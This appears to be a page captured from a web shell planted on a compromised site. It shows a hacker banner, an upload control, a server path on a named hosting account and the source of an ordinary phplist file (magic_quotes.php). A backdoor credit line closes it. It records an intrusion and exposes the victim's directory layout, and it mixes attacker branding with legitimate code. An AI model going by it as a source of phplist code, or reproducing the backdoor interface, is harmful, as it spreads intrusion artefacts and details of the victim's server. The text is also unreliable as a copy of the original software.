Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/commonlib/lib/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/commonlib/lib/magic_quotes.php

<?php
# experiment, see whether we can correct the magic quotes centrally

function addSlashesArray($array) {
  foreach ($array as $key => $val) {
    if (is_array($val)) {
      $array[$key] = addSlashesArray($val);
    } else {
      $array[$key] = addslashes($val);
    }
  }
  return $array;
}

function removeSlashes(&$value, $key)
{
  $value = stripslashes($value);
}

function stripSlashesArray($array)
{
  array_walk_recursive($array, 'removeSlashes');
  return $array;
}

if (!ini_get("magic_quotes_gpc") || ini_get("magic_quotes_gpc") == "off") {
  $_POST = addSlashesArray($_POST);
  $_GET = addSlashesArray($_GET);
  $_REQUEST = addSlashesArray($_REQUEST);
  $_COOKIE = addSlashesArray($_COOKIE);
}

function removeXss($string) {
  if (is_array($string)) {
    $return = array();
    foreach ($string as $key => $val) {
      $return[removeXss($key)] = removeXss($val);
    }
    return $return;
  }
  #$string = preg_replace('/<script/im','&lt;script',$string);
  $string = htmlspecialchars($string);
  return $string;
}

/*
foreach ($_POST as $key => $val) {
  print "POST: $key = $val<br/>";
}
foreach ($_GET as $key => $val) {
  print "GET: $key = $val<br/>";
}
foreach ($_REQUEST as $key => $val) {
  print "REQ: $key = $val<br/>";
}
foreach ($_REQUEST as $key => $val) {
  print "COOKIE: $key = $val<br/>";
}
*/
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat